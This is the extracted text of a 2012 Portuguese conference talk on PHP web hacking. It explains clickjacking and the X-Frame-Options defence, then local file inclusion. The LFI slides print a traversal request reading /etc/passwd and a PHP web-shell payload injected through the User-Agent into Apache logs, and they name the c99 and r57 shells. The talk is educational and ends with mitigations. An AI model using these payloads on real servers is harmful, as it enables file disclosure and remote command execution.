40
“Hacking + PHP” Erick Tedeschi @ericktedeschi São Paulo 28/02/2012

"Hacking+PHP"

Embed Size (px)

Citation preview

“Hacking + PHP”

Erick  Tedeschi  @ericktedeschi  

São  Paulo  28/02/2012  

Agenda

•  Clickjacking  da  mina  que  pira  •  Local  File  Include  

Clickjacking

Engenharia  Social  

Clickjacking

Página  do  Link  

Clickjacking

O  que  aconteceu?  

Clickjacking

Isso  aconteceu  nos  ‘basIdores’  

Clickjacking – como funciona?

Como  a  víIma  vê  Como  o  atacante  vê  

Como  realmente  é!!!  (opacity:  50%)  

Clickjacking – como funciona? Observações:  -­‐  Link  “Inscrever”:  Posicionado  uIlizando  absolute  com  referência  nas  extremidades  do  browser  (le_  e  top  (x,y)).  -­‐  Div    que  contém  o  iframe  com  z-­‐index  10  garanIndo  que  ele  fique  no  topo  dos  outros  elementos  HTML  da  página  -­‐  Opacity:  0.0  deixa  o  div  transparente.  

Clickjacking – como proteger?

         Tá.  Como  eu  evito  que  meu  site  seja  renderizado  em  um  iframe  de  um  site  malicioso?  

Clickjacking – como proteger?

UIlizando  o  cabeçalho  X-­‐Frame-­‐OpIons    Ou    UIlizando  “Frame  Killer”  ou  Frame  Breaking  Scripts    Referências:  hkps://www.owasp.org/index.php/Clickjacking  hkp://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combaIng-­‐clickjacking-­‐with-­‐x-­‐frame-­‐opIons.aspx  

   

Clickjacking – X-Frame-Options

Opções  do  cabeçalho  HTTP  X-­‐Frame-­‐OpIons:    •  DENY:  O  browser  não  renderiza  a  página  dentro  de  iframe  •  SAMEORIGIN:  O  browser  só  irá  renderizar  páginas  no  iframe  se  for  do  mesmo  

domínio.  •  ALLOW-­‐FROM  origin:  O  browser  só  irá  renderizar  páginas  no  iframe  se  for  da  

origem  especificada    (no  wildcards,  no  mulIple  origins).  

Clickjacking

CompaIbilidade  

Clickjacking – Cliente

Local File Include

Local File Include

Local File Include – codigo original

Local File Include – codigo v1

Local File Include – codigo v1

Local File Include – codigo v1

Local File Include – codigo v2

Local File Include – codigo v2

Local File Include – codigo v2

Tomano  c00llllll  

Local File Include Execução de código malicioso

•  Antes  vamos  ver  o  que  mais  podemos  fazer  com  o  LFI.  

•  Onde  é  possível  escrever/alterar/manipular  como  um  ‘usuário’  em  um  browser?  

Local File Include Execução de código malicioso

Exemplo:  UIlizando  access_log  do  apache  Normalmente  o  apache  loga  o  “User-­‐Agent”  do  Browser  do  cliente,  essa  string  pode  ser  manipulada  para  executar  código  na  aplicação  vulnerável.  

Local File Include Execução de código malicioso

Abaixo  log  do  apache  com  código  malicioso  ‘injetado’  

192.168.56.1  -­‐  -­‐  [28/Feb/2012:04:18:20  -­‐0300]  "GET  /?lang=..././..././..././etc/passwd%00  HTTP/1.1"  200  1612  "-­‐"  "Mozilla/5.0  (Macintosh;  Intel  Mac  OS  X  10.7;  rv:10.0.2)  Gecko/20100101  Firefox/10.0.2”    192.168.56.1  -­‐  -­‐  [28/Feb/2012:05:25:19  -­‐0300]  "GET  /?lang=ptbr  HTTP/1.1"  200  865  "-­‐"  "Mozilla/5.0  (Macintosh;  Intel  Mac  OS  X  10.7;  rv:10.0.2)  Gecko/20100101  Firefox/10.0.2”    192.168.56.1  -­‐  -­‐  [28/Feb/2012:05:30:28  -­‐0300]  "GET  /  HTTP/1.1"  200  7346  "-­‐"  "Mozilla/5.0  (Macintosh;  Intel  Mac  OS  X  10.7;  rv:10.0.2)  Gecko/20100101  Firefox/10.0.2”    192.168.56.1  -­‐  -­‐  [28/Feb/2012:05:31:06  -­‐0300]  "GET  /?lang=ptbr  HTTP/1.1"  200  865  "-­‐"  "<?php  system($_GET['cmd']);  ?>"  

Local File Include Execução de código malicioso

Resultado  

Local File Include Execução de código malicioso

Local File Include Execução de código malicioso

Local File Include – c99shell

Local File Include – r57shell

Local File Include – Priv8

Local File Include

•  Tá..  Mas  como  resolve?  

Local File Include Vamos  limitar  o  escopo  de  inclusão  com  open_basedir  

Local File Include

-­‐Validação  da  entrada  -­‐Whitelist  -­‐Validação  -­‐Filtro+Validação  

Local File Include

www.exploit-­‐db.org  

Local File Include hkp://packetstormsecurity.org  

Quer saber mais?

hkp://www.owasp.org  

Quer saber mais? Top 10 Web Apps Vulnerabilities

•  A1:  InjecIon    •  A2:  Cross-­‐Site  ScripIng  (XSS)    •  A3:  Broken  AuthenIcaIon  and  Session  Management    •  A4:  Insecure  Direct  Object  References    •  A5:  Cross-­‐Site  Request  Forgery  (CSRF)    •  A6:  Security  MisconfiguraIon    •  A7:  Insecure  Cryptographic  Storage    •  A8:  Failure  to  Restrict  URL  Access    •  A9:  Insufficient  Transport  Layer  ProtecIon    •  A10:  Unvalidated  Redirects  and  Forwards    

Fim

Erick  Belluci  Tedeschi  hkp://twiker.com/ericktedeschi  hkp://oerick.com  hkp://nordicosmc.com.br    

PHPub SP – Bora beber e networkar